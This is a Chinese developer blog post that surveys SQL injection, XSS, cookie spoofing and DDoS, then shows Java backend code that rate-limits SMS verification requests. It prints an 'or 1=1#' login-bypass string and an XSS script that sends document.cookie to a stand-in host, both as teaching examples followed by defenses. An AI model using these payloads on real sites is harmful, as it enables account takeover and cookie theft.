常见网络攻击方式介绍及短信防攻击策略的后端实现

大家好,今天给大家分享一下:几种常见的网络攻击方式的介绍以及短信防攻击策略的后端实现。

一、背景介绍

有人的地方就有江湖,有数据交互的地方,就存在入侵风险。

只有知己知彼,才能百战不殆。我们学习相关知识不是为了去攻击别人的服务器,只是为了防范于未然。

攻击的种类多种多样:SQL注入,旁注,XSS跨站,COOKIE欺骗,DDOS,0day 漏洞,社会工程学 等等等等。

二、知识剖析

1.SQL注入攻击

原理:构造特殊字符串,利用SQL语言的漏洞,对原先的SQL逻辑进行修改。

解释:为什么会存在sql注入呢,只能说SQL出身不好。因为sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。

举例:

系统数据库使用的statement语句来处理传入的数据,输入管理员账户和密码之后,将密码加密然后放入执行语句执行。

select * from users where username='tarena' and password=md5('admin')

当存在SQL漏洞的时候,通过构造特殊字符串,在用户名输入框中输入:’or 1=1#,密码随便输入,这时执行语句是这样的

select * from users where username='' or 1=1#' and password=md5('')

这时也可以登陆,因为上面这句话等价于

select * from users where username='' or 1=1

等价于

select * from users

然后系统判断返回值不为空,就可以登陆了。

应对措施:

1)使用preparestatement预编译SQL语句,使用占位符来代替传入参数,这样语句结构不会发生变化

2)存储过程。存储过程(Stored Procedure)是一组完成特定功能的SQL语句集,经编译后存储在数据库中,用户通过调用存储过程并给定参数(如果该存储过程带有参数)就可以执行它,也可以避免SQL注入攻击

3)前端预处理语句,过滤非法字符比如;#等

2.XSS跨站脚本攻击

xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的。而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。其实XSS攻击就是网站输入框没有限制非法字符,或者没有对脚本内容进行编码导致的!

举例:

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

比如这段代码,当我们没有对网站输入框进行非法字符的限制的话,用户输入了这段脚本,这样就会神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。

3.Cookie欺骗

上面的cookie拿来有什么用呢?我们知道,HTTP是无状态的,需要依靠cookie,session来进行登陆状态的验证。

当我们获得别人的cookie之后,就可以通过在浏览器添加cookie的方法(有具体插件可以完成),实现登陆别人的账户来进行操作。

当然这只是cookie欺骗的一种方法,属于修改浏览器,而还有跳过浏览器,直接对通讯数据改写;使用签名脚本,让浏览器可以从本地读写任意域名cookie;欺骗浏览器,让浏览器获得假的域名。

应对措施:

1)开发者方面:少用cookie,一定要用的话,对其进行加密,绑定ip,动态请求一次一换,这样可以减少cookie被盗取后的损失。

2)使用者方面:尽量不在公用电脑输入用户名密码,使用完及时关闭浏览器,清除缓存。

4.DDoS

ddos的全称是分布式拒绝服务攻击,既然是拒绝服务一定是因为某些原因而停止服务的,其中最重要的也是最常用的原因就是利用服务端方面资源的有限性,这种服务端的资源范围很广,可以简单的梳理一个请求正常完成的过程:

1)用户在客户端浏览器输入请求的地址

2)浏览器解析该请求,包括分析其中的dns以明确需要到达的远程服务器地址

3)明确地址后浏览器和服务器的服务尝试建立连接,尝试建立连接的数据包通过本地网络,中间路由最终艰苦到达目标网络再到达目标服务器

4)网络连接建立完成之后浏览器根据请求建立不同的数据包并且将数据包发送到服务器某个端口

5)端口映射到进程,进程接受到数据包之后进行内部的解析

6)请求服务器内部的各种不同的资源,包括后端的API以及一些数据库或者文件等

7)在逻辑处理完成之后数据包按照之前建立的通道返回到用户浏览器,浏览器完成解析,请求完成。

上面各个点都可以被用来进行ddos攻击,包括:

1)某些著名的客户端劫持病毒

2)进行dns劫持,或者直接大量的dns请求直接攻击dns服务器,这里可以使用一些专业的第三方dns服务来缓解这个问题,如Dnspod

3)利用建立网络连接需要的网络资源攻击服务器带宽使得正常数据包无法到达

4)利用webserver的一些特点进行攻击,相比nginx来说,apache处理一个请求的过程就比较笨重。

5)利用应用程序内部的一些特性攻击程序内部的资源如mysql,后端消耗资源大的接口等等,这也就是传统意义上的CC攻击。

了解自己系统的短处,不要以己之短攻敌之长,譬如在路由器等设备上解决应用层攻击就不是一个好的办法,同理,在应用层尝试解决网络层的问题也是不可能的。

我们防护的目标是只让正常的数据和请求进入到我们的服务,一个完善的防御体系应该考虑如下几个层面:

1)作为用户请求的入口,必须有良好的dns防御

2)与你的价值相匹配的带宽资源,并且在核心节点上布置好应用层的防御策略,只允许你的正常应用的网络数据包能够进入,譬如封杀除了80以外的所有数据包

3)有支持你的服务价值的机器集群来抵抗应用层的压力,有必要的话需要将一个http请求继续分解,将连接建立的过程压力分解到其他的集群里。

三、常见问题

讲了那么多,离我们都好远,讲点近的吧。

怎么在我们的短信通道做好后端的防攻击策略?

攻击方式:通过脚本伪造用户网站上的短信请求接口,实现调用接口刷短信。

攻击目的:

1.以攻击手机号为目的刷短信验证码

2.以恶意刷取目标网站短信费用为目的的攻击

四、解决方案

1.前端增加图文验证码,在输入正确的前提下才发送验证码,这里是后端的简单实现

//跳转到绑定手机号码界面
    @RequestMapping(value = "/a/boundtel",method = RequestMethod.GET)
     public String boundTel(HttpServletRequest request,Model model)throws Exception{
        String precode=RandomCode.getRandom(4);
        String username=CookieUtil.getCookieValue(request,"username");
        String usernametel=username+"tel";
        redisCacheManager.hset(usernametel,"precode",precode,exp);//将其存入缓存
        model.addAttribute("precode",precode);
        return "page08";
    }

2.限制单个手机号每日接收短信次数和时间间隔

单手机号限制阿里云方面就可以做到,我在项目中在后台限制了单用户的次数和发送时间间隔

//发送验证码
    @RequestMapping(value = "/a/sendcode",method = RequestMethod.POST)
    public String boundCode(@RequestParam String telephone,String precode,Model model,HttpServletRequest request)throws Exception{

        String username=CookieUtil.getCookieValue(request,"username");
        //将手机号以用户名tel和手机号的键值对方式存进缓存
        String usernametel=username+"tel";
        String precode1=(String)redisCacheManager.hget(usernametel,"precode");
        //判断验证码是否正确
        if(!precode.equals(precode1)){
            throw new MyException("验证码输入错误,请重试");
        }
        //首先确认手机号是否符合规范,不符合就直接报错
        if(!RegexUtil.telephoneRegex(telephone)) {
            throw new MyException("请确认手机号正确");
        }
        System.out.println("手机号正确");
        long time=0;//上次发送的时间,默认为0
        int number=0;//发送的次数,默认为0
        if(null!=redisCacheManager.hget(usernametel,"time")) {
            //如果不为空,则将time设置为缓存的值
          time = (long) redisCacheManager.hget(usernametel, "time");//获取上次发送的时间属性
            //同时获取发送的次数
            number = (int) redisCacheManager.hget(usernametel, "number");
        }
        //如果为空则number和time都为默认值
            System.out.println(time);
            System.out.println(number);
        long curTime=System.currentTimeMillis();
        //如果没有超过一分钟就提示一分钟之内无法再次发送,如果是第一次,time应该为0,一定不会报错
        if((curTime-time)<1000*60){
            throw new MyException("请过一分钟再次发送");
        }
        System.out.println("距离上次发送超过一分钟,可以再次发送");
        //判断是否发送超过十次,超过就报错
        if(number>3){
            throw new MyException("今天已经超过十次,请24小时后再来");
        }
        System.out.println("未超过十次,可以再次发送");
        //创建一个六位随机数字的验证码
        String code= RandomCode.getRandom(6);
        //使用第三方接口发送验证码
        String resCode=TelCode.tleCode(telephone,code);
        //判断是否发送成功
        if(resCode!=null&&resCode.equals("OK")){
            logger.info(username+"短信发送成功");
        }else{
            logger.info(resCode);
            throw new MyException("短信发送失败");
        }
//        System.out.println(usernametel);
        redisCacheManager.hset(usernametel,"tel",telephone,exp);//将telephone存进缓存,之前有就覆盖
//        System.out.println("存入usernametel");
        redisCacheManager.hset(usernametel,"code", code, exp);//将code存入缓存,过期时间设置为30min,之前有就覆盖
        redisCacheManager.hset(usernametel,"time",System.currentTimeMillis(),exp);//存入当前时间戳
        redisCacheManager.hset(usernametel,"number",number+1,exp*48);//存入发送次数,过期时间设置为24小时,即此用户第十次发送后,隔24小时才能再次发送
//        System.out.println("存入telephone");
        model.addAttribute("telephone",telephone);//将其放进model在下一页显示出来
        return "page09";
    }

 

3.对IP进行限制

这个可以通过在服务器上创建脚本实施定时任务,每分钟执行一次脚本,抓取某一个接口一分钟之内的调用次数,超过某个值后查看其调用的ip,超过限制就封掉这个ip

4.对注册流程进行限定

我自己的项目是两道流程之后才能绑定手机,这个要根据PM的要求来设置,我们只需要按照PM要求的流程来操作就行。

5.对发送者进行唯一性识别

我自己是通过cookie的方式来验证,每个接口调用前都会通过拦截器来检查cookie正确性,不正确就会不执行接下来的操作。

但是在实际运行中,需要几种结合起来使用才行。

普通验证码的形式可以通过OCR识别的形式瞬间转化成文本形式,稍复杂的验证码也可以通过OCR+简单机器学习破解。

如果是针对单号码的短信轰炸,其在每个网站一般也就调用几次接口,通过多网站的形式实现轰炸,所以怎么辨别有效用户还是恶意调用就很困难,限制单个手机号次数也很困难杜绝。

禁用ip其实效果也不明显,因为现在切换ip成本很低。

五、更多讨论

1.阿里云的安全策略是怎样的?

2.cookie中绑定ip要保存到数据库吗?

不需要,cookie中的内容是服务器生成之后保存在浏览器中的。

3.如果换IP登录怎么办?

换ip登陆的话就需要重新输入用户名和密码了,即使是在同一台电脑,其cookie也会被判定为无效。

六、参考文献

https://www.cnblogs.com/daidai2016/p/7382549.html

https://blog.csdn.net/yizhenn/article/details/52384601

https://www.cnblogs.com/pursuitofacm/p/6706961.html

http://www.woshipm.com/pd/580976.html

 

今天的分享就到这里了,欢迎大家留言,点赞,转发~
 

 

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值